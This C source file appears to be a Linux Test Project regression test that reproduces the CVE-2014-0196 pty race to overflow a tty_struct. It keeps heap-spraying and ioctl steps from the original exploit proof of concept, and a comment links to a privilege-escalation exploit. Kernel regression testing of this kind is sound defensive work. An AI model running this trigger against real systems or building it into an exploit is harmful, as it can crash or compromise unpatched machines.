1*49cdfc7eSAndroid Build Coastguard Worker // SPDX-License-Identifier: GPL-2.0-or-later
2*49cdfc7eSAndroid Build Coastguard Worker /*
3*49cdfc7eSAndroid Build Coastguard Worker * Copyright (c) 2017 Richard Palethorpe <[email protected]>
4*49cdfc7eSAndroid Build Coastguard Worker * Original POC by Matthew Daley <[email protected]>
5*49cdfc7eSAndroid Build Coastguard Worker */
6*49cdfc7eSAndroid Build Coastguard Worker /*
7*49cdfc7eSAndroid Build Coastguard Worker * This test attempts to cause a buffer overflow using the race condition
8*49cdfc7eSAndroid Build Coastguard Worker * described in CVE-2014-0196. If the test is successful in causing an
9*49cdfc7eSAndroid Build Coastguard Worker * overflow it will most likely result in an immediate Oops, restart or
10*49cdfc7eSAndroid Build Coastguard Worker * freeze. However if it overwrites memory not accessed during the test then
11*49cdfc7eSAndroid Build Coastguard Worker * it could happen at a later time or not at all which is more likely if SLAB
12*49cdfc7eSAndroid Build Coastguard Worker * randomization has been implemented. However as it currently stands, the test
13*49cdfc7eSAndroid Build Coastguard Worker * usually crashes as soon as the delay has been calibrated.
14*49cdfc7eSAndroid Build Coastguard Worker *
15*49cdfc7eSAndroid Build Coastguard Worker * To maximise the chances of the buffer overflow doing immediate detectable
16*49cdfc7eSAndroid Build Coastguard Worker * damage the SLAB filler sockets and ioctls from the original exploit POC
17*49cdfc7eSAndroid Build Coastguard Worker * have been kept even though they are not strictly necessary to reproduce the
18*49cdfc7eSAndroid Build Coastguard Worker * bug.
19*49cdfc7eSAndroid Build Coastguard Worker *
20*49cdfc7eSAndroid Build Coastguard Worker * Further details:
21*49cdfc7eSAndroid Build Coastguard Worker * see linux commit 4291086b1f081b869c6d79e5b7441633dc3ace00
22*49cdfc7eSAndroid Build Coastguard Worker * privilege escalation POC https://www.exploit-db.com/exploits/33516/
23*49cdfc7eSAndroid Build Coastguard Worker */
24*49cdfc7eSAndroid Build Coastguard Worker
25*49cdfc7eSAndroid Build Coastguard Worker #include <pty.h>
26*49cdfc7eSAndroid Build Coastguard Worker #include <stdio.h>
27*49cdfc7eSAndroid Build Coastguard Worker #include <string.h>
28*49cdfc7eSAndroid Build Coastguard Worker #include <termios.h>
29*49cdfc7eSAndroid Build Coastguard Worker #include <limits.h>
30*49cdfc7eSAndroid Build Coastguard Worker
31*49cdfc7eSAndroid Build Coastguard Worker #include "tst_test.h"
32*49cdfc7eSAndroid Build Coastguard Worker #include "tst_timer.h"
33*49cdfc7eSAndroid Build Coastguard Worker #include "tst_safe_pthread.h"
34*49cdfc7eSAndroid Build Coastguard Worker
35*49cdfc7eSAndroid Build Coastguard Worker #include "tst_fuzzy_sync.h"
36*49cdfc7eSAndroid Build Coastguard Worker
37*49cdfc7eSAndroid Build Coastguard Worker #define ONEOFF_ALLOCS 200
38*49cdfc7eSAndroid Build Coastguard Worker #define RUN_ALLOCS 30
39*49cdfc7eSAndroid Build Coastguard Worker #define BUFLEN 512
40*49cdfc7eSAndroid Build Coastguard Worker
41*49cdfc7eSAndroid Build Coastguard Worker static volatile int master_fd, slave_fd;
42*49cdfc7eSAndroid Build Coastguard Worker static int filler_ptys[ONEOFF_ALLOCS * 2];
43*49cdfc7eSAndroid Build Coastguard Worker static int target_ptys[RUN_ALLOCS * 2];
44*49cdfc7eSAndroid Build Coastguard Worker static char buf[BUFLEN];
45*49cdfc7eSAndroid Build Coastguard Worker
46*49cdfc7eSAndroid Build Coastguard Worker static void *overwrite_thread_fn(void *);
47*49cdfc7eSAndroid Build Coastguard Worker static struct tst_fzsync_pair fzsync_pair;
48*49cdfc7eSAndroid Build Coastguard Worker
create_pty(int * amaster,int * aslave)49*49cdfc7eSAndroid Build Coastguard Worker static void create_pty(int *amaster, int *aslave)
50*49cdfc7eSAndroid Build Coastguard Worker {
51*49cdfc7eSAndroid Build Coastguard Worker if (openpty(amaster, aslave, NULL, NULL, NULL) == -1)
52*49cdfc7eSAndroid Build Coastguard Worker tst_brk(TBROK | TERRNO, "pty creation failed");
53*49cdfc7eSAndroid Build Coastguard Worker }
54*49cdfc7eSAndroid Build Coastguard Worker
setup(void)55*49cdfc7eSAndroid Build Coastguard Worker static void setup(void)
56*49cdfc7eSAndroid Build Coastguard Worker {
57*49cdfc7eSAndroid Build Coastguard Worker int i;
58*49cdfc7eSAndroid Build Coastguard Worker
59*49cdfc7eSAndroid Build Coastguard Worker fzsync_pair.exec_loops = 50000;
60*49cdfc7eSAndroid Build Coastguard Worker
61*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_pair_init(&fzsync_pair);
62*49cdfc7eSAndroid Build Coastguard Worker
63*49cdfc7eSAndroid Build Coastguard Worker for (i = 0; i < ONEOFF_ALLOCS; i++) {
64*49cdfc7eSAndroid Build Coastguard Worker create_pty(&filler_ptys[i],
65*49cdfc7eSAndroid Build Coastguard Worker &filler_ptys[i + ONEOFF_ALLOCS]);
66*49cdfc7eSAndroid Build Coastguard Worker }
67*49cdfc7eSAndroid Build Coastguard Worker }
68*49cdfc7eSAndroid Build Coastguard Worker
overwrite_thread_fn(void * p LTP_ATTRIBUTE_UNUSED)69*49cdfc7eSAndroid Build Coastguard Worker static void *overwrite_thread_fn(void *p LTP_ATTRIBUTE_UNUSED)
70*49cdfc7eSAndroid Build Coastguard Worker {
71*49cdfc7eSAndroid Build Coastguard Worker while(tst_fzsync_run_b(&fzsync_pair)) {
72*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_start_race_b(&fzsync_pair);
73*49cdfc7eSAndroid Build Coastguard Worker SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN - 1);
74*49cdfc7eSAndroid Build Coastguard Worker SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN - 1);
75*49cdfc7eSAndroid Build Coastguard Worker SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN);
76*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_end_race_b(&fzsync_pair);
77*49cdfc7eSAndroid Build Coastguard Worker }
78*49cdfc7eSAndroid Build Coastguard Worker return 0;
79*49cdfc7eSAndroid Build Coastguard Worker }
80*49cdfc7eSAndroid Build Coastguard Worker
run(void)81*49cdfc7eSAndroid Build Coastguard Worker static void run(void)
82*49cdfc7eSAndroid Build Coastguard Worker {
83*49cdfc7eSAndroid Build Coastguard Worker struct termios t;
84*49cdfc7eSAndroid Build Coastguard Worker int j;
85*49cdfc7eSAndroid Build Coastguard Worker
86*49cdfc7eSAndroid Build Coastguard Worker tst_res(TINFO, "Attempting to overflow into a tty_struct...");
87*49cdfc7eSAndroid Build Coastguard Worker
88*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_pair_reset(&fzsync_pair, overwrite_thread_fn);
89*49cdfc7eSAndroid Build Coastguard Worker while (tst_fzsync_run_a(&fzsync_pair)) {
90*49cdfc7eSAndroid Build Coastguard Worker create_pty((int *)&master_fd, (int *)&slave_fd);
91*49cdfc7eSAndroid Build Coastguard Worker
92*49cdfc7eSAndroid Build Coastguard Worker for (j = 0; j < RUN_ALLOCS; j++)
93*49cdfc7eSAndroid Build Coastguard Worker create_pty(&target_ptys[j],
94*49cdfc7eSAndroid Build Coastguard Worker &target_ptys[j + RUN_ALLOCS]);
95*49cdfc7eSAndroid Build Coastguard Worker SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]);
96*49cdfc7eSAndroid Build Coastguard Worker SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]);
97*49cdfc7eSAndroid Build Coastguard Worker
98*49cdfc7eSAndroid Build Coastguard Worker SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, 1);
99*49cdfc7eSAndroid Build Coastguard Worker
100*49cdfc7eSAndroid Build Coastguard Worker tcgetattr(master_fd, &t);
101*49cdfc7eSAndroid Build Coastguard Worker t.c_oflag &= ~OPOST;
102*49cdfc7eSAndroid Build Coastguard Worker t.c_lflag |= ECHO;
103*49cdfc7eSAndroid Build Coastguard Worker tcsetattr(master_fd, TCSANOW, &t);
104*49cdfc7eSAndroid Build Coastguard Worker
105*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_start_race_a(&fzsync_pair);
106*49cdfc7eSAndroid Build Coastguard Worker SAFE_WRITE(SAFE_WRITE_ANY, master_fd, "A", 1);
107*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_end_race_a(&fzsync_pair);
108*49cdfc7eSAndroid Build Coastguard Worker
109*49cdfc7eSAndroid Build Coastguard Worker for (j = 0; j < RUN_ALLOCS; j++) {
110*49cdfc7eSAndroid Build Coastguard Worker if (j == RUN_ALLOCS / 2)
111*49cdfc7eSAndroid Build Coastguard Worker continue;
112*49cdfc7eSAndroid Build Coastguard Worker
113*49cdfc7eSAndroid Build Coastguard Worker ioctl(target_ptys[j], 0xdeadbeef);
114*49cdfc7eSAndroid Build Coastguard Worker ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef);
115*49cdfc7eSAndroid Build Coastguard Worker SAFE_CLOSE(target_ptys[j]);
116*49cdfc7eSAndroid Build Coastguard Worker SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]);
117*49cdfc7eSAndroid Build Coastguard Worker }
118*49cdfc7eSAndroid Build Coastguard Worker
119*49cdfc7eSAndroid Build Coastguard Worker ioctl(master_fd, 0xdeadbeef);
120*49cdfc7eSAndroid Build Coastguard Worker ioctl(slave_fd, 0xdeadbeef);
121*49cdfc7eSAndroid Build Coastguard Worker SAFE_CLOSE(master_fd);
122*49cdfc7eSAndroid Build Coastguard Worker SAFE_CLOSE(slave_fd);
123*49cdfc7eSAndroid Build Coastguard Worker }
124*49cdfc7eSAndroid Build Coastguard Worker
125*49cdfc7eSAndroid Build Coastguard Worker tst_res(TPASS, "Nothing bad happened, probably.");
126*49cdfc7eSAndroid Build Coastguard Worker }
127*49cdfc7eSAndroid Build Coastguard Worker
cleanup(void)128*49cdfc7eSAndroid Build Coastguard Worker static void cleanup(void)
129*49cdfc7eSAndroid Build Coastguard Worker {
130*49cdfc7eSAndroid Build Coastguard Worker int i;
131*49cdfc7eSAndroid Build Coastguard Worker
132*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_pair_cleanup(&fzsync_pair);
133*49cdfc7eSAndroid Build Coastguard Worker
134*49cdfc7eSAndroid Build Coastguard Worker for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
135*49cdfc7eSAndroid Build Coastguard Worker close(filler_ptys[i]);
136*49cdfc7eSAndroid Build Coastguard Worker close(master_fd);
137*49cdfc7eSAndroid Build Coastguard Worker close(slave_fd);
138*49cdfc7eSAndroid Build Coastguard Worker }
139*49cdfc7eSAndroid Build Coastguard Worker
140*49cdfc7eSAndroid Build Coastguard Worker static struct tst_test test = {
141*49cdfc7eSAndroid Build Coastguard Worker .setup = setup,
142*49cdfc7eSAndroid Build Coastguard Worker .cleanup = cleanup,
143*49cdfc7eSAndroid Build Coastguard Worker .test_all = run,
144*49cdfc7eSAndroid Build Coastguard Worker .max_runtime = 60,
145*49cdfc7eSAndroid Build Coastguard Worker .tags = (const struct tst_tag[]) {
146*49cdfc7eSAndroid Build Coastguard Worker {"linux-git", "4291086b1f08"},
147*49cdfc7eSAndroid Build Coastguard Worker {"CVE", "2014-0196"},
148*49cdfc7eSAndroid Build Coastguard Worker {}
149*49cdfc7eSAndroid Build Coastguard Worker }
150*49cdfc7eSAndroid Build Coastguard Worker };
151